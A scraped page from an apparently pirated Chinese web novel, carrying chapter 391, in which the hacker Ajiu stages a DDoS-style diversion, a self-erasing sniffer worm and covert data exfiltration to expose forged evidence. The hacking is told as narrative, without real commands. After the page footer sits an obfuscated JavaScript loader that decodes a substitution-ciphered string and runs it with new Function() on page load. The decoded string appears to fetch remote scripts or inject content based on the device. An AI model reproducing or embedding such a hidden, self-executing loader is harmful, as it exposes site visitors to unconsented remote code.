首页
[切换至繁体版]
返回

第391章 棋手行动:阿九破解伪证

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第391章棋手行动:阿九破解伪证(第1/2页)
    克里特岛的夜,深得像化不开的浓墨。远处爱琴海的涛声规律地拍打着悬崖下的岩石,但在阿九栖身的这间经过多重电磁屏蔽改造的石屋里,连涛声也被过滤得只剩下模糊的背景音。屋内唯一的光源,是几面环绕排列的曲面屏幕上流淌的、冰冷而变幻的数据流,映照着少女苍白专注的脸庞。
    阿九的指尖在定制键盘上飞舞,速度快得几乎留下残影。她的眼睛紧盯着主屏幕上不断滚动的十六进制代码和网络数据包分析图,耳朵里塞着入耳式耳机,隔绝了外界一切杂音,只剩下她自己平稳的呼吸和服务器风扇低沉的嗡鸣。
    林晚通过秦墨、再经苏瑾传递出来的信息,如同投入静湖的石子,在她心中激起了层层涟漪,也让她本就高速运转的大脑,进入了超频状态。姐姐在绝境中传递出的,不仅仅是情报和关切,更是一种清晰的战略思维和对她毫无保留的信任。
    “相信棋手。”
    这四个字,沉甸甸地压在阿九心头,也化作了无穷的动力。她是“棋手”,是团队中最锋利、最隐秘的刀,是在数字世界纵横捭阖的幽灵。现在,这把刀,必须精准地刺穿敌人精心编织的谎言之网。
    她首先尝试联系“鹰眼”。这个曾经是“隐门”外部情报网络的重要节点,在多年前一次任务中“失踪”的神秘人物,是林晚记忆中可能存有旧路径的关键。阿九动用了自己几乎所有的秘密通信协议和后门,向那些早已沉寂数年、可能已被遗忘或废弃的联络点发送了加密的、带着特定识别符的“探针”信号。然而,如同石沉大海,没有任何回应。“鹰眼”要么是真的彻底消失(或被清除),要么就是处境极度危险,不敢、也不能回应任何外部联系。
    这条路,暂时走不通。
    阿九没有浪费时间沮丧。她立刻将注意力转向林晚提示的另外两条线索:卢森堡的“星环”公司和英属维尔京群岛的“海妖”公司。这两家公司,在秦墨上次传递的信息碎片中,与瑞士韦伯提供的、流向可疑的“幽灵”资金有隐约关联。
    她调出自己构建的、庞大而复杂的全球金融网络关联图谱。无数节点(公司、账户、个人、离岸中心)以不同颜色和连线呈现在三维虚拟空间中。“阿特拉斯文物基金”像一个闪烁着不祥红光的核心,延伸出无数条资金触手,其中几条较为粗壮的,在经过层层嵌套和伪装后,最终隐没在一片混沌的迷雾中。而“星环”和“海妖”,就像是迷雾边缘两个若隐若现的、微弱的发光点。
    “从外围入手,剥离洋葱。”阿九低声自语,手指在虚拟键盘上快速敲击。她没有直接攻击“星环”和“海妖”的核心服务器(那无异于自杀),而是开始从公开和半公开的渠道,搜集一切与这两家公司相关的信息:注册信息、年报(如果有)、关联公司、董事会成员(往往是挂名的代理)、公开的合同与交易记录、甚至是被爬虫偶然抓取到的、早已被原网站删除的网络存档片段。
    与此同时,她开始执行林晚建议的、针对“幽灵信使”服务器的“佯攻”策略。她不再试图直接侵入核心的日志存储节点,而是分出了数十个虚拟攻击“触手”,伪装成来自世界不同地区、不同技术特征的攻击者,开始对“幽灵信使”位于全球各地的多个备份服务器节点、次要数据中心、甚至是一些用作跳板的代理服务器,发起强度不一、但持续不断的骚扰性攻击。这些攻击的目的不是侵入,而是制造噪音,触发警报,消耗对方的防御资源,搅浑水。
    阿九的“触手”如同蜂群,时而在一个节点发起分布式拒绝服务攻击(DDoS),时而又伪装成内部维护流量试图探测漏洞,时而又模仿“隐门”自身“清洁工”的某些攻击特征,在对方的内网边界试探。一时间,“幽灵信使”的安全监控中心必然警报声此起彼伏,大量安全人员被调动起来,疲于奔命地分辨哪些是真正的威胁,哪些是无意义的噪音。阿九要的,就是这种混乱。
    真正的杀招,是她在混乱中,悄无声息激活了之前植入在那个日志备份节点外围的、处于深度休眠状态的“嗅探器-镜像虫”。这个微小的程序,被设定为仅在检测到两种特定模式的数据流时才会激活:一是大规模、高优先级的日志“擦除”指令(意味着对方可能在紧急销毁证据);二是针对特定时间段、特定关键词(如与“陆沉舟”、“SH”、“构陷”等可能相关的代号)的日志“调用”或“检索”请求。
    混乱持续了大约六个小时。阿九像一位最高明的乐队指挥,同时操控着数十个攻击线程,既要让它们看起来足够真实、有威胁,又要精准控制攻击烈度,避免过早暴露自己的核心意图和技术特征。她的额角渗出了细密的汗珠,长时间的超负荷脑力运算,让她的太阳穴隐隐作痛,但她那双盯着屏幕的眼睛,却亮得惊人,没有丝毫疲倦。
    突然,监控“幽灵信使”主节点(她最初强攻失败的那个)外围流量的一个隐藏传感器,捕捉到了一丝异常。在纷乱的警报和防御性数据流中,一个微弱的、加密的、但指向性非常明确的指令,从某个内部管理终端发出,目标是那个存储着老旧日志的备份节点。指令内容经过多层加密,阿九无法瞬间解密,但从数据包的特征和流向判断,极有可能是一个“调用”或“检索”指令,而且优先级很高。
    几乎在同一时间,阿九安插在备份节点外围的“镜像虫”被激活了!它检测到了预期的数据流模式——一个经过加密的、针对特定时间戳范围日志的调用请求!机会稍纵即逝!
    “镜像虫”瞬间启动,像一条真正的寄生虫,附着在那条被调用的加密数据流上,在数据从存储阵列读取、流经内部总线、准备打包发送的、以纳秒计算的极短暂瞬间,它以近乎不可能的速度和精度,截取、复制、压缩、再加密了一个极小的数据包片段,然后像水滴融入大海,悄无声息地将这个微缩的数据副本,写入存储阵列中一个早已标记为“物理坏道”、被系统忽略的废弃扇区。完成这一切后,“镜像虫”毫不犹豫地启动了预设的自毁程序,抹除自身所有痕迹,从数字世界中彻底消失,仿佛从未存在过。
    整个过程发生在电光火石之间。无论是“幽灵信使”的安全系统,还是可能存在的、同样在暗中窥伺的“清洁工”,都未曾察觉到这几乎可以忽略不计的数据异动。所有的警报,依然围绕着阿九制造的、此起彼伏的佯攻噪音。
    “成功了……大概。”阿九长长地呼出一口气,紧绷的神经稍微松弛,随之而来的是更强烈的疲惫感和兴奋的颤栗。她成功“窃取”了数据,但这只是一个加密的、不完整的片段,而且存储在对方服务器的“垃圾堆”里。如何在不触发警报的情况下,把这个片段“拿”出来,才是下一个难题。
    她没有立刻行动,而是继续维持着佯攻的力度,同时开始分析刚才捕捉到的、那个发出调用指令的内部管理终端的网络特征和可能的物理位置。结果让她眉头紧锁——终端位于东南亚某地,但使用了复杂的代理和跳转,真实IP难以追踪,而且从行为模式看,调用者非常谨慎,调用完成后立刻切断了与备份节点的直接连接,并清除了本地操作记录。
    是“母亲”的人?还是“隐门”内部其他派系?抑或是……某个第三方?调用那些老旧日志的目的是什么?核查?确认?还是准备彻底销毁?
    无数疑问盘旋在阿九脑海。但有一点可以肯定:对方也对“幽灵信使”服务器里的数据感兴趣,而且很可能与“构陷陆沉舟”一事有关。这既是危险,也是机会。
    佯攻又持续了数小时,直到阿九预估对方的防御力量已被充分吸引和消耗,她才开始逐步降低攻击强度,让那些虚拟攻击“触手”一个个“自然死亡”或“败退撤离”,最终,网络攻击的浪潮缓缓退去,只留下满地狼藉的日志和“幽灵信使”安全团队筋疲力尽的排查。
    就在这片混乱尚未完全平息,防御者精神最为松懈的“贤者时间”,阿九出手了。她没有去动那个存储着数据片段的废弃扇区(那太明显了),而是启动了一个早已准备好的、伪装成“幽灵信使”自身内部诊断和垃圾回收程序的、极其微小的数据渗出程序。这个程序会按照预设的、看起来完全合理的节奏,读取那些标记为“坏道”的扇区,尝试进行“数据恢复尝试”,并将“尝试恢复”过程中产生的、大量无意义的校验和和错误报告数据,混杂在正常的系统状态汇报数据流中,发送到一个位于公海浮动服务器上的、看似属于某个跨国科技公司运维部门的接收地址。
    这个渗出过程是缓慢的、间断的、充满“噪音”的,就像系统在正常地进行自我检修和报告。阿九精心设计的数据包结构和发送节奏,使其完美地融入了“幽灵信使”服务器日常运维的数据背景噪音中,极难被察觉。
    时间一分一秒过去,阿九像最耐心的猎人,等待着猎物入袋。终于,在经过数个小时的缓慢渗出后,那个包含着关键数据片段的、经过层层伪装和切割的“数据包裹”,完整地、悄无声息地传输到了阿九控制的公海服务器上。
    (本章未完,请点击下一页继续阅读)第391章棋手行动:阿九破解伪证(第2/2页)
    她立刻切断了所有与“幽灵信使”服务器的直接和间接连接,清除了所有渗透痕迹,并启动了服务器自带的、更高强度的匿名化和反追踪协议。然后,她开始小心翼翼地打开这个来之不易的“数据包裹”。
    包裹里是经过多重加密的数据流。阿九调动了自己所有的算力资源,开始暴力破解结合密码学分析的解密工作。这不是“幽灵信使”通信日志的原始格式,而是被调用程序打包后的中间态,但幸运的是,打包的加密方式相对标准。经过数小时的激烈运算,第一层加密被解开,露出了里面被压缩的日志片段。
    解压,又是一段加密。再解压,再解密……如同剥开一个俄罗斯套娃。每一次解密,阿九的心都悬得更高。她不知道里面到底是什么,是无关紧要的日常通信,还是能决定生死的致命证据?
    当最后一层加密被解开,一段看似杂乱的、混合了时间戳、加密标识符、源/目的IP(部分掩码)、信息长度和加密信息摘要的日志记录,展现在阿九眼前。这不是完整的通信内容(那需要通信双方的私钥才能解密),但日志本身包含了至关重要的元数据。
    阿九的眼睛飞速扫过这些记录。时间戳主要集中在半年多前,正是陆沉舟被构陷的“SH”和财务造假事件酝酿发酵的关键时期!源IP地址段,虽然被部分掩码,但阿九一眼就认出,其中几个活跃的IP段,与“母亲”及其核心手下已知的几个加密通信网络节点高度重合!目的IP则指向多个位于不同司法管辖区的空壳公司和中间人账户,其中就包括卢森堡的“星环”和BVI的“海妖”!
    更重要的是,在其中几条日志的“操作备注”字段(可能是管理员手动添加的,用于内部标记),阿九发现了几个令人心悸的缩写和代号。其中一个代号,经过阿九在自身庞大的威胁情报数据库中交叉比对,指向了一个专门为“隐门”处理“特殊财务安排”的、臭名昭著的中间人。而另一个缩写,经过解密,赫然是“FSF”——这正是构陷陆沉舟的所谓“财务造假”计划“FinancialSmokeScreen”(财务烟幕)的缩写!
    “找到了……”阿九喃喃自语,声音因为激动而微微沙哑。这些日志片段,虽然不包含具体的通信内容,但它们以无可辩驳的方式证明了:在陆沉舟被指控罪行发生的关键时间段,来自“母亲”或其直接下属控制网络节点的通信指令,频繁地指向了那些用于构陷他的空壳公司和资金渠道!这是将“隐门”与构陷陆沉舟的罪行直接关联起来的关键“数字指纹”!
    但这还不够。这只是间接证据,只能证明通信关联,不能直接证明“母亲”下令伪造了那些具体的、用于指控陆沉舟的“证据”。要彻底翻案,还需要更直接的证据——比如,证明那些作为指控核心的、所谓陆沉舟签署的“虚假合同”、“泄密邮件”、“资金转移指令”等电子文件本身是伪造的。
    阿九将目光投向了林晚案。林晚被指控的关键证据,是那些指向“阿特拉斯文物基金”的银行转账记录和邮件。苏瑾之前已经想尽办法,从各种渠道弄到了一些被用作证据的电子文件副本或截图。阿九调出这些文件,开始进行最精细的、法证级别的数字痕迹分析。
    她检查文件的元数据:创建时间、修改时间、创建者信息、使用的软件版本、甚至文件在磁盘上存储的物理扇区序列。她分析文件的数字签名(如果有)和哈希值。她甚至利用专门的工具,检查文件中是否存在肉眼不可见的、由于多次编辑、格式转换或使用特定伪造工具而留下的独特数字“指纹”或“水印”。
    这项工作枯燥而繁重,需要极致的耐心和对细节的变态级关注。阿九将文件拆解成最
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();